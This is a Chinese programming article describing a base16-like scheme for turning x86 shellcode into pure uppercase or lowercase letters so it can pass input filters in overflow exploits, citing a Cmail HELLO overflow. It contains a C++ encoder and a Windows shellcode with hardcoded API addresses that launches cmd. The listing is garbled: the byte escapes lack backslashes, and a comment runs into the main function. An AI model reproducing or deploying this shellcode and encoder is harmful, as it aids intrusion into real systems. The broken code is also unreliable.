创建存数字字母shellcode方案之 类base16
算法描述:将字符取前、后4位各加上一个key(例如0x41),分解为两个字符。
shellcode字符范围为0x00 - 0xFF 为2^8 = 256个字符,每个字符拆解过后的两个部分取值范围为2^4 = 16 = 0x10
加上一个适当的key,以0x41为例每个部分取值范围为0x41 - 0x51 即为ascii码的A - Q,所以全部是A-Q的大写字母。
当然,在会被转换成小写的时候(如Cmail hello 溢出漏洞),选用0x61为key,就得到全小写字母的字符范围。
算法代码示例(C++)
base16.cpp:
#include <stdio.h>
typedef struct _Byte_base16
{
unsigned o1 : 4;
unsigned o0 : 4;
}Byte_base16, *PByte_base16;
unsigned char shellcode[] =
"x33xC0" // xor eax, eax
"x66xB8x72x74" // mov ax, 7472
"x50" // push eax
"x68x6Dx73x76x63" // push 6376736D
"x54" // push esp
"xB8xcfx05xe7x77" // mov eax, 0x77e705cf
"xFFxD0" // call eax
"x99" // cdq
"x66xBAx63x6D" // mov dx, 6D63
"x52" // push edx
"xC6x44x24x02x64" // mov byte ptr [esp+2], 64
"x54" // push esp
"xB8xbfx8ex01x78" // mov eax, 0x78018ebf
"xFFxD0" // call eax
"x99" // cdq
"x52" // push edx
"xB8x1axe0xe6x77" // mov eax, 0x77e6e01a
"xFFxD0"; // call eaxint main(int argc,char* argv[])
{
unsigned char key = 0x41; //key to base16
PByte_base16 p;
int i = 0;
while(shellcode[i])
{
p = (PByte_base16)(&shellcode[i++]);
printf("%c%c",p->o0 + key,p->o1 + key);
}return 0;
}
补充:综合编程 , 安全编程 ,